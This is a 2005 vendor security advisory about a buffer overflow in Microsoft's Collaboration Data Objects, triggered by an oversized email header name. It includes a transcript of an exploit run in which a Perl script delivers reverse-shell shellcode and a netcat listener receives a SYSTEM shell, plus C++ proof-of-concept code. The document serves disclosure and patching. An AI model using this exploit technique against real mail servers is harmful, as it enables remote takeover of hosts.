=20 SEC-1 LTD.
=20 www.sec-1.com

=20 Security Advisory

Advisory Name: Collaboration Data Objects Buffer Overflow Vulnerability
=20 Application: Multiple Applications that implement CDO
=20 Platform: Windows 2000 (All versions)
=09 Windows XP (All versions inc sp2)
=09 Windows Server 2003 (All versions)
=09 Exchange 2000 Server Service Post-Service pack 3

=20 Severity: Critical. Remote Code Execution=20
=20 Author: Gary O'leary-Steele=20
Vendor Status: Patch Released
CVE Candidate: CAN-2005-1987
=20 Reference: http://www.sec-1.com
=20 Disclosed: 12/October/2005


Vulnerability Details:=20

Sec-1 has identified an exploitable Buffer Overflow within Collaboration
Data Objects (Cdosys.dll and Cdoex.dll). The vulnerability exists when=20
event sinks are used within Microsoft Exchange 2000 or Microsoft Mail
services to parse e-mail content. Several Content Security packages
were identified to be vulnerable/exploitable.

The vulnerability can be exploited by crafting an e-mail with a large=20
header name such as "Content-Type<LARGE STRING>:".=20
A failure to correctly determine the length of the string results in a
stack overflow. Successful exploitation of the vulnerability could allow
the attacker to gain complete control of the vulnerable host. Under=20
certain conditions the vulnerability can also be used to bypass content
security mechanisms such as virus and content security scanners. Proof
of
concept code to recreate the problem is included at the bottom of this=20
advisory.


Exploit Availability:

Sec-1 do not release exploit code to the general public.=20
Attendees of the Sec-1 Applied Hacking & Intrusion prevention course=20
will receive a copy of this exploit as part of the Sec-1 Exploit
Arsenal.=20
See: http://www.sec-1.com/applied_hacking_course.html


Exploit Example:

[root@homer PoC]# perl cdo.pl -f me@test.com -t me@test.com -h 10.0.0.53

Enter IP address of your attacking host: 10.0.0.200
Enter Port for shellcode to connect back on: 80
[*]----Connected OK![*]----Sending MAIL FROM: me@test.com[*]----Sending RCPT TO: <me@test.com>[*]----Sending Malformed E-mail body[*]----Shellcode Length: 316[*]----Shellcode type: Reverse shell[*]----Done.

[!] Note this may take a while. Inetinfo will crash and restart
=09This will happen until a nops are reached. You may also want=20
=09to clear the queue to restore Inetinfo.exe by deleting malformed

=09e-mail from c:\Inetpub\mailroot\Queue

[root@homer PoC]# nc -l -p 80 -v
listening on [any] 80 ...

10.0.0.53: inverse host lookup failed: Unknown host
connect to [10.0.0.200] from (UNKNOWN) [10.0.0.53] 1100
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.


C:\WINNT\system32>c:\whoami
NT AUTHORITY\SYSTEM

C:\WINNT\system32>


Vendor Response:

Microsoft have released the following information including a fix,
http://www.microsoft.com/technet/sec.../MS05-048.mspx


Common Vulnerabilities and Exposures (CVE) Information:

The Common Vulnerabilities and Exposures (CVE) project has assigned=20
the following names to these issues. These are candidates for=20
inclusion in the CVE list (http://cve.mitre.org), which standardizes=20
names for security problems.

=09 CAN-2005-1987


Demonstration:

The following CDO code demonstrates the problem.

Step 1.

Create an E-mail named vuln.eml including a large "Content-Type:"
header.

Step 2.

// Compile with -GX option
#import <msado15.dll> no_namespace rename("EOF", "adoEOF")
#import <cdosys.dll> rename_namespace("CDO")

#include <stdio.h>

int main()
{

CoInitialize(0);
try
{
=20CDO::IMessagePtr spMsg(__uuidof(CDO::Message));
=20_StreamPtr spStream(spMsg->GetStream());
=20spStream->Position =3D 0;
=20spStream->Type =3D adTypeBinary;
=20spStream->LoadFromFile("vuln.eml");
=20spStream->Flush();

=20 for(long i =3D 1; i <=3D spMsg->BodyPart->BodyParts->Count; i++)
=20 {
=09CDO::IBodyPartPtr spBdy =3D spMsg->BodyPart->BodyParts->Item[i];
=09_variant_t v =3D
spBdy->Fields->Item["urn:schemas:mailheader:Content-Type"]->Value;
=20 }

}
=20 catch(_com_error &e)
=09{
=09printf("COM error[0x%X, %s]\n", e.Error(),
(LPCTSTR)e.Description());
=09}
=09catch(...)
=09{
=09printf("General exception\n");
=09}

=09CoUninitialize();

=09return 0;
}

=09CDO::IBodyPartPtr spBdy =3D spMsg->BodyPart->BodyParts->Item[i];
=09_variant_t v =3D
spBdy->Fields->Item["urn:schemas:mailheader:Content-Type"]->Value;


Copyright 2005 Sec-1 LTD. All rights reserved.
************************************************** ************
NEW: Sec-1 Hacking Training - Learn to breach network security=20
to further your knowledge and protect your network=20
http://www.sec-1.com/applied_hacking_course.html
************************************************** ************